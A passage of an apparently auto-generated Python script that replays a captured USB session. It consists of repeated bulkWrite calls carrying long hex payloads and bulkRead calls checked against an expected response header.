b\"\\x8A\\x47\\x5A\\x56\\xBF\\xF0\\x19\\xEF\\xB6\\x58\\x5D\\x03\\x50\\xA0\\x30\\x84\"\n b\"\\xF1\\x35\\x25\\x7D\\xCE\\xD4\\xFC\\x4D\\x3F\\xBA\\x52\\xCB\\x68\\x4F\\x06\\x70\"\n b\"\\x60\\xAD\\x51\\xEE\\xF9\\x62\\xEE\\x2F\\x10\\x70\\x7A\\xA8\\x1C\\xAC\\xB2\\xFF\"\n b\"\\x31\\x9A\\x88\\x1C\\xB6\\xC9\\x0E\\xC2\\x03\\x91\\x07\\x93\\x65\\x87\\x1E\\xED\"\n b\"\\xC2\\x0E\\x3D\\x49\\x64\\x4C\\x66\\x21\\xA1\\xA5\\xAE\\x84\\x9B\\x7B\\x64\\xDE\"\n b\"\\x0D\\x3C\\x8D\\xA2\\x7C\\xCA\\xB3\\x6F\\x33\\x5B\\xEB\\xF3\\x20\\x2A\\x53\\xDF\"\n b\"\\x2A\\x13\\x84\\x98\\x58\\x6B\\x78\\x13\\x66\\x4A\\xC4\\xFD\\xEC\\xC8\\x32\\x72\"\n b\"\\x85\\x7D\\xF2\\x9C\\xA9\\x0C\\xBE\\x58\\x1A\\x14\\x83\\x0C\\x0E\\x9C\\x22\\xE6\"\n b\"\\x7D\\xCC\\x16\\xD7\\xD7\\x35\\x65\\xF9\\x2A\\xCC\\x4F\\xC3\\x3D\\x43\\x70\\xD3\"\n b\"\\x72\\xB4\\x5F\\xDC\\xCF\\xAF\\x87\\x6A\\x1C\\xC1\\x78\\x23\\x55\\x45\\x6F\\xAC\"\n b\"\\x54\\x7F\\x28\\x0A\\x54\\xE9\\xF5\\xF2\\xB0\\x1D\\xC8\\x2D\")\n # Generated from packet 3547/3548\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3547/3548\")\n # Generated from packet 3549/3550\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE9\\x3A\\x33\\x7F\\xDB\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6E\\x08\\xE8\\x1D\\xE9\\x0E\\x0E\\xC2\"\n b\"\\x5C\\x56\\x07\\x93\\x3A\\x40\\x1E\\xED\\x9D\\xC9\\x3D\\x49\\x3B\\x8B\\x66\\x21\"\n b\"\\xFE\\x62\\xAE\\x84\\xC4\\xBC\\x64\\xDE\\x52\\xFB\\x8D\\xA2\\x23\\x0D\\xB3\\x6F\"\n b\"\\x6C\\x9C\\xEB\\xF3\\x7F\\xED\\x53\\xDF\\x75\\xD4\\x84\\x98\\x07\\xAC\\x78\\x13\"\n b\"\\x39\\x8D\\xC4\\xFD\\xB3\\x0F\\x32\\x72\\xDA\\xBA\\xF2\\x9C\\xF6\\xCB\\xBE\\x58\"\n b\"\\x45\\xD3\\x83\\x0C\\x51\\x5B\\x22\\xE6\\x22\\x0B\\x16\\xD7\\x88\\xF2\\x65\\xF9\"\n b\"\\x75\\x0B\\x4F\\xC3\\x62\\x84\\x70\\xD3\\x2D\\x73\\x5F\\xDC\\x90\\x68\\x87\\x6A\"\n b\"\\x43\\x06\\x78\\x23\\x0A\\x82\\x6F\\xAC\\x0B\\xB8\\x28\\x0A\\x0B\\x2E\\xF5\\xF2\"\n b\"\\xEF\\xDA\\xC8\\x2D\\x45\\x1F\\x1C\\x24\\xFD\\x06\\x41\\x7E\\x2E\\x90\\xEE\\x3B\"\n b\"\\xD3\\x2B\\x3D\\x28\\x44\\x3F\\x87\\x22\\x78\\x69\\xD9\\x9A\\x18\\x5C\\xFA\\x03\"\n b\"\\x52\\x9C\\x14\\x99\\xD6\\x50\\x79\\x8C\\x41\\x7C\\x8F\\xA4\\x68\\x54\\x7D\\x87\"\n b\"\\x40\\xFE\\x8C\\x72\\x1A\\x59\\x5F\\x60\\xD3\\x57\\x51\\x5C\\xDD\\x1D\\xAC\\xB7\"\n b\"\\xDC\\x5E\\xBB\\xAF\\x5E\\x2C\\x35\\x1E\\xDB\\x84\\xA8\\xBA\\x6C\\x4F\\xA3\\xB4\"\n b\"\\xF8\\x41\\x09\\xE0\\x16\\xBE\\x53\\xA8\\x9B\\xE3\\x9D\\xAA\\xA0\\x9C\\xEB\\xC5\"\n b\"\\xC8\\xF5\\x12\\xDE\\x31\\xB2\\x04\\xF1\\xAA\\x36\\x33\\x93\\xE1\\x83\\x5A\\x8F\"\n b\"\\x26\\x02\\x5D\\xFA\\x7A\\x43\\x08\\xE3\\xE8\\x73\\xF4\\x88\\x17\\x6A\\x41\\x6A\"\n b\"\\xA3\\x3B\\x12\\x3E\\xD1\\x87\\xA2\\x49\\x76\\x33\\xFD\\x4A\")\n # Generated from packet 3551/3552\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3551/3552\")\n # Generated from packet 3553/3554\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x27\\x6A\\x3D\\x6B\\x7D\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x1E\\xDF\\x5D\\xCB\\x31\\x29\\x1B\"\n b\"\\x22\\x4D\\x58\\xED\\x1C\\x80\\x17\\x7C\\x44\\x1C\\x04\\x0D\\xFC\\x30\\x0E\\x34\"\n b\"\\x2B\\x77\\x7C\\x4C\\xD7\\xFC\\x42\\x6D\\x6B\\x12\\xC8\\xEF\\x9D\\x9D\\xA1\\x5A\"\n b\"\\x5D\\x73\\x8D\\x2B\\x11\\xB7\\x3E\\x33\\x2C\\xE3\\x2A\\xBB\\x8D\\x09\\x59\\xEB\"\n b\"\\xB9\\x38\\xF3\\x12\\xCA\\x16\\x0E\\xEB\\xE0\\x2C\\x19\\x64\\xDF\\x3C\\x56\\x93\"\n b\"\\xF0\\x33\\xEB\\x88\\x28\\x85\\x38\\xE6\\xD7\\xCC\\x71\\x62\\xC0\\x43\\x70\\x58\"\n b\"\\x87\\xE5\\x70\\xCE\\x5A\\x1D\\x94\\x3A\\x67\\xC2\\x3E\\xFF\\xB3\\xCB\\x86\\xE6\"\n b\"\\xEE\\x91\\x55\\x70\\x41\\xD4\\xA8\\xCB\\x92\\xC7\\x3F\\xDF\\x28\\xCD\\x03\\x89\"\n b\"\\x76\\x75\\x63\\xBC\\x55\\xEC\\x29\\x7C\\xBB\\x76\\xAD\\xB0\\xD6\\x63\\x3A\\x9C\"\n b\"\\x20\\x4B\\x13\\xB4\\xD2\\x68\\x3B\\x1E\\x23\\x9D\\x61\\xB9\\xF0\\x8F\\xA8\\xB7\"\n b\"\\xFE\\xB3\\xA6\\xFD\\x03\\x58\\xA7\\xBE\\x14\\x40\\x25\\xCC\\x9A\\xF1\\xA0\\x64\"\n b\"\\x07\\x55\\x17\\xAF\\x0C\\x5B\\x83\\xA1\\xA6\\x0F\\x6D\\x5E\\xFC\\x47\\xE0\\x03\"\n b\"\\x32\\x45\\xDB\\x7C\\x44\\x2A\\xB3\\x15\\xBD\\x31\\x4A\\x52\\xAB\\x1E\\xD1\\xD6\"\n b\"\\x9C\\x7C\\x9A\\x63\\xF5\\x60\\x5D\\xE2\\xF2\\x15\\x01\\xA3\\xA7\\x0C\\x93\\x93\"\n b\"\\x5B\\x67\\x6C\\x8A\\xEE\\x85\\xD8\\xDB\\xBD\\xD1\\xAA\\x67\\x0D\\xA6\\x0D\\xD3\"\n b\"\\x52\\xA5\\x9F\\x1A\\xAD\\x62\\x0C\\xD5\\xB3\\xA0\\xC1\\x08\\xE5\\xAC\\x30\\x99\"\n b\"\\x99\\xEE\\x0A\\x22\\x32\\x05\\xCA\\xF6\\xF1\\x23\\x1C\\x5A\")\n # Generated from packet 3555/3556\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3555/3556\")\n # Generated from packet 3557/3558\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4D\\xD8\\x16\\x07\\x5A\\x10\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x94\\x99\\xB1\\x48\\x94\\xC0\\xE5\\xBE\"\n b\"\\x98\\x92\\x78\\x85\\xF3\\x44\\x58\\x3D\\x53\\x63\\x26\\x06\\x01\\x17\\xCE\\x1C\"\n b\"\\x74\\x75\\x51\\x14\\xBD\\x4B\\x5E\\x3B\\xAD\\x6B\\x56\\xD1\\x76\\xA1\\x82\\xF5\"\n b\"\\x3D\\x78\\x99\\x34\\xEC\\xCA\\x74\\x5E\\x46\\xD4\\xD4\\x94\\x54\\x00\\x78\\x83\"\n b\"\\x88\\xED\\x0D\\xC3\\xDC\\xC8\\xF7\\xD1\\x8D\\x57\\xD2\\xA5\\x3C\\x3C\\x76\\x2E\"\n b\"\\xE5\\x62\\x5A\\x56\\xD0\\xD5\\x19\\xEF\\xD9\\x7D\\x5D\\x03\\x3F\\x85\\x30\\x84\"\n b\"\\x9E\\x10\\x25\\x7D\\xA1\\xF1\\xFC\\x4D\\x50\\x9F\\x52\\xCB\\x07\\x6A\\x06\\x70\"\n b\"\\x0F\\x88\\x51\\xEE\\x96\\x47\\xEE\\x2F\\x7F\\x55\\x7A\\xA8\\x73\\x89\\xB2\\xFF\"\n b\"\\x5E\\xBF\\x88\\x1C\\xD9\\xEC\\x0E\\xC2\\x6C\\xB4\\x07\\x93\\x0A\\xA2\\x1E\\xED\"\n b\"\\xAD\\x2B\\x3D\\x49\\x0B\\x69\\x66\\x21\\xCE\\x80\\xAE\\x84\\xF4\\x5E\\x64\\xDE\"\n b\"\\x62\\x19\\x8D\\xA2\\x13\\xEF\\xB3\\x6F\\x5C\\x7E\\xEB\\xF3\\x4F\\x0F\\x53\\xDF\"\n b\"\\x45\\x36\\x84\\x98\\x37\\x4E\\x78\\x13\\x09\\x6F\\xC4\\xFD\\x83\\xED\\x32\\x72\"\n b\"\\xEA\\x58\\xF2\\x9C\\xC6\\x29\\xBE\\x58\\x75\\x31\\x83\\x0C\\x61\\xB9\\x22\\xE6\"\n b\"\\x12\\xE9\\x16\\xD7\\xB8\\x10\\x65\\xF9\\x45\\xE9\\x4F\\xC3\\x52\\x66\\x70\\xD3\"\n b\"\\x1D\\x91\\x5F\\xDC\\xA0\\x8A\\x87\\x6A\\x73\\xE4\\x78\\x23\\x3A\\x60\\x6F\\xAC\"\n b\"\\x3B\\x5A\\x28\\x0A\\x3B\\xCC\\xF5\\xF2\\xDF\\x38\\xC8\\x2D\\x75\\xFD\\x1C\\x24\"\n b\"\\xCD\\xE4\\x41\\x7E\\x1E\\x72\\xEE\\x3B\\xE3\\xC9\\x3D\\x28\")\n # Generated from packet 3559/3560\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3559/3560\")\n # Generated from packet 3561/3562\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x83\\x88\\x18\\x13\\xEA\\x4C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF7\\x99\\x5F\\xFE\\x44\\x0E\\x14\\xB4\"\n b\"\\x29\\x7A\\x3B\\x3C\\x35\\xA3\\xFC\\x6D\\x12\\xF4\\xB2\\x10\\xA0\\x77\\xE2\\xEC\"\n b\"\\xF4\\x24\\xE3\\x27\\x7A\\x0B\\x28\\x4F\\xB1\\x6C\\x04\\x77\\xB2\\x82\\xDE\\x88\"\n b\"\\xED\\xEB\\x9E\\x94\\xED\\xB9\\x8B\\xFA\\x32\\x04\\x77\\x5C\\x82\\x87\\xD1\\x49\"\n b\"\\x82\\x4B\\xE5\\xBE\\x8E\\x19\\x78\\x85\\xE5\\xCF\\x58\\x3D\\x45\\xE8\\x26\\x06\"\n b\"\\x17\\x9C\\xCE\\x1C\\x62\\xFE\\x51\\x14\\xAB\\xC0\\x5E\\x3B\\xBB\\xE0\\x56\\xD1\"\n b\"\\x60\\x2A\\x82\\xF5\\x2B\\xF3\\x99\\x34\\xFA\\x41\\x74\\x5E\\x50\\x5F\\xD4\\x94\"\n b\"\\x42\\x8B\\x78\\x83\\x9E\\x66\\x0D\\xC3\\xCA\\x43\\xF7\\xD1\\x9B\\xDC\\xD2\\xA5\"\n b\"\\x2A\\xB7\\x76\\x2E\\xF3\\xE9\\x5A\\x56\\xC6\\x5E\\x19\\xEF\\xCF\\xF6\\x5D\\x03\"\n b\"\\x29\\x0E\\x30\\x84\\x88\\x9B\\x25\\x7D\\xB7\\x7A\\xFC\\x4D\\x46\\x14\\x52\\xCB\"\n b\"\\x11\\xE1\\x06\\x70\\x19\\x03\\x51\\xEE\\x80\\xCC\\xEE\\x2F\\x69\\xDE\\x7A\\xA8\"\n b\"\\x65\\x02\\xB2\\xFF\\x48\\x34\\x88\\x1C\\xCF\\x67\\x0E\\xC2\\x7A\\x3F\\x07\\x93\"\n b\"\\x1C\\x29\\x1E\\xED\\xBB\\xA0\\x3D\\x49\\x1D\\xE2\\x66\\x21\\xD8\\x0B\\xAE\\x84\"\n b\"\\xE2\\xD5\\x64\\xDE\\x74\\x92\\x8D\\xA2\\x05\\x64\\xB3\\x6F\\x4A\\xF5\\xEB\\xF3\"\n b\"\\x59\\x84\\x53\\xDF\\x53\\xBD\\x84\\x98\\x21\\xC5\\x78\\x13\\x1F\\xE4\\xC4\\xFD\"\n b\"\\x95\\x66\\x32\\x72\\xFC\\xD3\\xF2\\x9C\\xD0\\xA2\\xBE\\x58\\x63\\xBA\\x83\\x0C\"\n b\"\\x77\\x32\\x22\\xE6\\x04\\x62\\x16\\xD7\\xAE\\x9B\\x65\\xF9\")\n # Generated from packet 3563/3564\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3563/3564\")\n # Generated from packet 3565/3566\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD1\\x79\\x0A\\x2F\\x72\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x28\\x78\\x60\\x68\\xC6\\x4A\\x15\"\n b\"\\x80\\xDC\\x3F\\x77\\x1F\\xD4\\xF6\\x49\\x10\\xFB\\xE6\\x69\\x18\\x11\\x3D\\xA3\"\n b\"\\xCC\\x35\\x76\\x7A\\xD7\\xF4\\xA7\\xC8\\x3A\\x9E\\x0D\\xD6\\x9A\\x54\\x1F\\x02\"\n b\"\\x36\\x43\\xC3\\xEF\\x43\\x03\\x97\\xCA\\xB9\\x11\\xC6\\x55\\x9C\\x65\\x77\\x3E\"\n b\"\\x38\\xEE\\xAE\\x60\\x14\\x96\\x9B\\xD7\\x57\\x2F\\x92\\x7F\\x13\\xC3\\x74\\x87\"\n b\"\\x7E\\x44\\xD5\\x12\\x6B\\xBD\\xEA\\xF3\\xB2\\x8D\\x1B\\x9D\\x1C\\x0B\\x4C\\x68\"\n b\"\\x48\\xB0\\x44\\x8A\\x1F\\x2E\\xDD\\x45\\xA0\\xEF\\x34\\x57\\x34\\x68\\x38\\x8B\"\n b\"\\xFC\\x3F\\x15\\xBD\\xC6\\xDC\\x92\\xEE\\x40\\x02\\x27\\xB6\\x49\\x53\\x41\\xA0\"\n b\"\\x50\\x2D\\xE6\\x29\\x73\\x89\\x40\\x6B\\x28\\xE1\\x85\\x82\\xE0\\x44\\xBF\\x5C\"\n b\"\\x2A\\x1E\\x29\\x1B\\xC3\\x62\\x58\\xED\\xFD\\xAF\\x17\\x7C\\xA5\\x33\\x04\\x0D\"\n b\"\\x1D\\x1F\\x0E\\x34\\xCA\\x58\\x7C\\x4C\\x36\\xD3\\x42\\x6D\\x8A\\x3D\\xC8\\xEF\"\n b\"\\x7C\\xB2\\xA1\\x5A\\xBC\\x5C\\x8D\\x2B\\xF0\\x98\\x3E\\x33\\xCD\\xCC\\x2A\\xBB\"\n b\"\\x6C\\x26\\x59\\xEB\\x58\\x17\\xF3\\x12\\x2B\\x39\\x0E\\xEB\\x01\\x03\\x19\\x64\"\n b\"\\x3E\\x13\\x56\\x93\\x11\\x1C\\xEB\\x88\\xC9\\xAA\\x38\\xE6\\x36\\xE3\\x71\\x62\"\n b\"\\x21\\x6C\\x70\\x58\\x66\\xCA\\x70\\xCE\\xBB\\x32\\x94\\x3A\\x86\\xED\\x3E\\xFF\"\n b\"\\x52\\xE4\\x86\\xE6\\x0F\\xBE\\x55\\x70\\xA0\\xFB\\xA8\\xCB\\x73\\xE8\\x3F\\xDF\"\n b\"\\xC9\\xE2\\x03\\x89\\x97\\x5A\\x63\\xBC\\xB4\\xC3\\x29\\x7C\")\n # Generated from packet 3567/3568\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3567/3568\")\n # Generated from packet 3569/3570\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1F\\x29\\x04\\x3B\\x1E\\x16\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA1\\x09\\xCA\\xA4\\xFC\\x3D\\x19\\x87\"\n b\"\\xD7\\x76\\x74\\xF3\\xF8\\xFE\\x68\\x2A\\x3F\\xAF\\x4F\\x7D\\x71\\xD2\\xFD\\xFE\"\n b\"\\x21\\x2E\\xA9\\xAD\\x20\\xE5\\x27\\x82\\xEB\\x8D\\xEC\\xE5\\xC7\\xB5\\xEF\\x0B\"\n b\"\\x1D\\x4A\\xB0\\x62\\x5D\\x56\\xB0\\x30\\x48\\x38\\x6F\\x8D\\xB4\\x9E\\xDF\\x0E\"\n b\"\\x12\\x8B\\xDF\\xC2\\x26\\x7C\\xD3\\x90\\xBB\\x47\\xB8\\x46\\x9B\\xFF\\x18\\x61\"\n b\"\\xE5\\xC4\\x4A\\x15\\x0D\\xDE\\x3F\\x77\\x92\\xD6\\xF6\\x49\\x9D\\xF9\\xE6\\x69\"\n b\"\\x95\\x13\\x3D\\xA3\\x41\\x37\\x76\\x7A\\x5A\\xF6\\xA7\\xC8\\xB7\\x9C\\x0D\\xD6\"\n b\"\\x17\\x56\\x1F\\x02\\xBB\\x41\\xC3\\xEF\\xCE\\x01\\x97\\xCA\\x34\\x13\\xC6\\x55\"\n b\"\\x11\\x67\\x77\\x3E\\xB5\\xEC\\xAE\\x60\\x99\\x94\\x9B\\xD7\\xDA\\x2D\\x92\\x7F\"\n b\"\\x9E\\xC1\\x74\\x87\\xF3\\x46\\xD5\\x12\\xE6\\xBF\\xEA\\xF3\\x3F\\x8F\\x1B\\x9D\"\n b\"\\x91\\x09\\x4C\\x68\\xC5\\xB2\\x44\\x8A\\x92\\x2C\\xDD\\x45\\x2D\\xED\\x34\\x57\"\n b\"\\xB9\\x6A\\x38\\x8B\\x71\\x3D\\x15\\xBD\\x4B\\xDE\\x92\\xEE\\xCD\\x00\\x27\\xB6\"\n b\"\\xC4\\x51\\x41\\xA0\\xDD\\x2F\\xE6\\x29\\xFE\\x8B\\x40\\x6B\\xA5\\xE3\\x85\\x82\"\n b\"\\x6D\\x46\\xBF\\x5C\\xA7\\x1C\\x29\\x1B\\x4E\\x60\\x58\\xED\\x70\\xAD\\x17\\x7C\"\n b\"\\x28\\x31\\x04\\x0D\\x90\\x1D\\x0E\\x34\\x47\\x5A\\x7C\\x4C\\xBB\\xD1\\x42\\x6D\"\n b\"\\x07\\x3F\\xC8\\xEF\\xF1\\xB0\\xA1\\x5A\\x31\\x5E\\x8D\\x2B\\x7D\\x9A\\x3E\\x33\"\n b\"\\x40\\xCE\\x2A\\xBB\\xE1\\x24\\x59\\xEB\\xD5\\x15\\xF3\\x12\")\n # Generated from packet 3571/3572\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3571/3572\")\n # Generated from packet 3573/3574\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA4\\x17\\xC9\\x6C\\x82\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8D\\xD9\\x8E\\x2E\\x64\\xDD\\x7A\\xA8\"\n b\"\\x68\\x01\\xB2\\xFF\\x45\\x37\\x88\\x1C\\xC2\\x64\\x0E\\xC2\\x77\\x3C\\x07\\x93\"\n b\"\\x11\\x2A\\x1E\\xED\\xB6\\xA3\\x3D\\x49\\x10\\xE1\\x66\\x21\\xD5\\x08\\xAE\\x84\"\n b\"\\xEF\\xD6\\x64\\xDE\\x79\\x91\\x8D\\xA2\\x08\\x67\\xB3\\x6F\\x47\\xF6\\xEB\\xF3\"\n b\"\\x54\\x87\\x53\\xDF\\x5E\\xBE\\x84\\x98\\x2C\\xC6\\x78\\x13\\x12\\xE7\\xC4\\xFD\"\n b\"\\x98\\x65\\x32\\x72\\xF1\\xD0\\xF2\\x9C\\xDD\\xA1\\xBE\\x58\\x6E\\xB9\\x83\\x0C\"\n b\"\\x7A\\x31\\x22\\xE6\\x09\\x61\\x16\\xD7\\xA3\\x98\\x65\\xF9\\x5E\\x61\\x4F\\xC3\"\n b\"\\x49\\xEE\\x70\\xD3\\x06\\x19\\x5F\\xDC\\xBB\\x02\\x87\\x6A\\x68\\x6C\\x78\\x23\"\n b\"\\x21\\xE8\\x6F\\xAC\\x20\\xD2\\x28\\x0A\\x20\\x44\\xF5\\xF2\\xC4\\xB0\\xC8\\x2D\"\n b\"\\x6E\\x75\\x1C\\x24\\xD6\\x6C\\x41\\x7E\\x05\\xFA\\xEE\\x3B\\xF8\\x41\\x3D\\x28\"\n b\"\\x6F\\x55\\x87\\x22\\x53\\x03\\xD9\\x9A\\x33\\x36\\xFA\\x03\\x79\\xF6\\x14\\x99\"\n b\"\\xFD\\x3A\\x79\\x8C\\x6A\\x16\\x8F\\xA4\\x43\\x3E\\x7D\\x87\\x6B\\x94\\x8C\\x72\"\n b\"\\x31\\x33\\x5F\\x60\\xF8\\x3D\\x51\\x5C\\xF6\\x77\\xAC\\xB7\\xF7\\x34\\xBB\\xAF\"\n b\"\\x75\\x46\\x35\\x1E\\xF0\\xEE\\xA8\\xBA\\x47\\x25\\xA3\\xB4\\xD3\\x2B\\x09\\xE0\"\n b\"\\x3D\\xD4\\x53\\xA8\\xB0\\x89\\x9D\\xAA\\x8B\\xF6\\xEB\\xC5\\xE3\\x9F\\x12\\xDE\"\n b\"\\x1A\\xD8\\x04\\xF1\\x81\\x5C\\x33\\x93\\xCA\\xE9\\x5A\\x8F\\x0D\\x68\\x5D\\xFA\"\n b\"\\x51\\x29\\x08\\xE3\\xC3\\x19\\xF4\\x88\\x3C\\x00\\x41\\x6A\")\n # Generated from packet 3575/3576\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3575/3576\")\n # Generated from packet 3577/3578\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6A\\x47\\xC7\\x78\\x8D\\x2A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x66\\x6A\\x8F\\x93\\xCE\\x18\\x03\\x74\"\n b\"\\x36\\x75\\x84\\xD5\\xA3\\x60\\x7D\\xEA\\x42\\xB9\\x4D\\x1B\\x2C\\x17\\xCB\\x4C\"\n b\"\\xD9\\x43\\x70\\x44\\x3B\\x14\\xEE\\xDD\\xF4\\xAB\\x2F\\x34\\xE6\\x3F\\xA8\\x38\"\n b\"\\x3A\\xF7\\xFF\\x15\\x0C\\xCD\\x1C\\x92\\x5F\\x4B\\xC2\\x27\\x07\\x42\\x93\\x41\"\n b\"\\x11\\x5B\\xED\\xE6\\x98\\x78\\x49\\x40\\xDA\\x23\\x21\\x85\\x33\\xEB\\x84\\xBF\"\n b\"\\xED\\x21\\xDE\\x29\\xAA\\xC8\\xA2\\x58\\x5C\\xF6\\x6F\\x17\\xCD\\xAE\\xF3\\x04\"\n b\"\\xBC\\x16\\xDF\\x0E\\x85\\xC1\\x98\\x7C\\xFD\\x3D\\x13\\x42\\xDC\\x81\\xFD\\xC8\"\n b\"\\x5E\\x77\\x72\\xA1\\xEB\\xB7\\x9C\\x8D\\x9A\\xFB\\x58\\x3E\\x82\\xC6\\x0C\\x2A\"\n b\"\\x0A\\x67\\xE6\\x59\\x5A\\x53\\xD7\\xF3\\xA3\\x20\\xF9\\x0E\\x5A\\x0A\\xC3\\x19\"\n b\"\\xD5\\x35\\xD3\\x56\\x22\\x1A\\xDC\\xEB\\x39\\xC2\\x6A\\x38\\x57\\x3D\\x23\\x71\"\n b\"\\xD3\\x2A\\xAC\\x70\\xE9\\x6D\\x0A\\x70\\x7F\\xB0\\xF2\\x94\\x8B\\x8D\\x2D\\x3E\"\n b\"\\x4E\\x59\\x24\\x86\\x57\\x04\\x7E\\x55\\xC1\\xAB\\x3B\\xA8\\x7A\\x78\\x28\\x3F\"\n b\"\\x6E\\xC2\\x22\\x03\\x38\\x9C\\x9A\\x63\\x0D\\xBF\\x03\\x29\\xCD\\x51\\x99\\xAD\"\n b\"\\x01\\x3C\\x8C\\x3A\\x2D\\xCA\\xA4\\x13\\x05\\x38\\x87\\x3B\\xAF\\xC9\\x72\\x61\"\n b\"\\x08\\x1A\\x60\\xA8\\x06\\x14\\x5C\\xA6\\x4C\\xE9\\xB7\\xA7\\x0F\\xFE\\xAF\\x25\"\n b\"\\x7D\\x70\\x1E\\xA0\\xD5\\xED\\xBA\\x17\\x1E\\xE6\\xB4\\x83\\x10\\x4C\\xE0\\x6D\"\n b\"\\xEF\\x16\\xA8\\xE0\\xB2\\xD8\\xAA\\xDB\\xCD\\xAE\\xC5\\xB3\")\n # Generated from packet 3579/3580\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3579/3580\")\n # Generated from packet 3581/3582\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x38\\xB6\\xD5\\x44\\x71\\x28\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x5E\\xB6\\xD5\\xBA\\x1A\\x02\\x78\"\n b\"\\xAD\\xC6\\xEF\\x0D\\xED\\x92\\xCA\\xF7\\xFF\\xC3\\x55\\xD2\\x8B\\x72\\x3E\\x76\"\n b\"\\x00\\xAB\\x60\\x5A\\x78\\x9E\\xD7\\x19\\xC1\\x97\\x7F\\x5D\\x2D\\x71\\x87\\x30\"\n b\"\\xAA\\xD0\\x12\\x25\\x53\\xEF\\xF3\\xFC\\x63\\x1E\\x9D\\x52\\xE5\\x49\\x68\\x06\"\n b\"\\x5E\\x41\\x8A\\x51\\xC0\\xD8\\x45\\xEE\\x01\\x31\\x57\\x7A\\x86\\x3D\\x8B\\xB2\"\n b\"\\xD1\\x10\\xBD\\x88\\x32\\x97\\xEE\\x0E\\xEC\\x22\\xB6\\x07\\xBD\\x44\\xA0\\x1E\"\n b\"\\xC3\\xE3\\x29\\x3D\\x67\\x45\\x6B\\x66\\x0F\\x80\\x82\\xAE\\xAA\\xBA\\x5C\\x64\"\n b\"\\xF0\\x2C\\x1B\\x8D\\x8C\\x5D\\xED\\xB3\\x41\\x12\\x7C\\xEB\\xDD\\x01\\x0D\\x53\"\n b\"\\xF1\\x0B\\x34\\x84\\xB6\\x79\\x4C\\x78\\x3D\\x47\\x6D\\xC4\\xD3\\xCD\\xEF\\x32\"\n b\"\\x5C\\xA4\\x5A\\xF2\\xB2\\x88\\x2B\\xBE\\x76\\x3B\\x33\\x83\\x22\\x2F\\xBB\\x22\"\n b\"\\xC8\\x5C\\xEB\\x16\\xF9\\xF6\\x12\\x65\\xD7\\x0B\\xEB\\x4F\\xED\\x1C\\x64\\x70\"\n b\"\\xFD\\x53\\x93\\x5F\\xF2\\xEE\\x88\\x87\\x44\\x3D\\xE6\\x78\\x0D\\x74\\x62\\x6F\"\n b\"\\x82\\x75\\x58\\x28\\x24\\x75\\xCE\\xF5\\xDC\\x91\\x3A\\xC8\\x03\\x3B\\xFF\\x1C\"\n b\"\\x0A\\x83\\xE6\\x41\\x50\\x50\\x70\\xEE\\x15\\xAD\\xCB\\x3D\\x06\\x3A\\xDF\\x87\"\n b\"\\x0C\\x06\\x89\\xD9\\xB4\\x66\\xBC\\xFA\\x2D\\x2C\\x7C\\x14\\xB7\\xA8\\xB0\\x79\"\n b\"\\xA2\\x3F\\x9C\\x8F\\x8A\\x16\\xB4\\x7D\\xA9\\x3E\\x1E\\x8C\\x5C\\x64\\xB9\\x5F\"\n b\"\\x4E\\xAD\\xB7\\x51\\x72\\xA3\\xFD\\xAC\\x99\\xA2\\xBE\\xBB\")\n # Generated from packet 3583/3584\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3583/3584\")\n # Generated from packet 3585/3586\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF6\\xE6\\xDB\\x50\\xA8\\x53\\x00\\x00\"\n 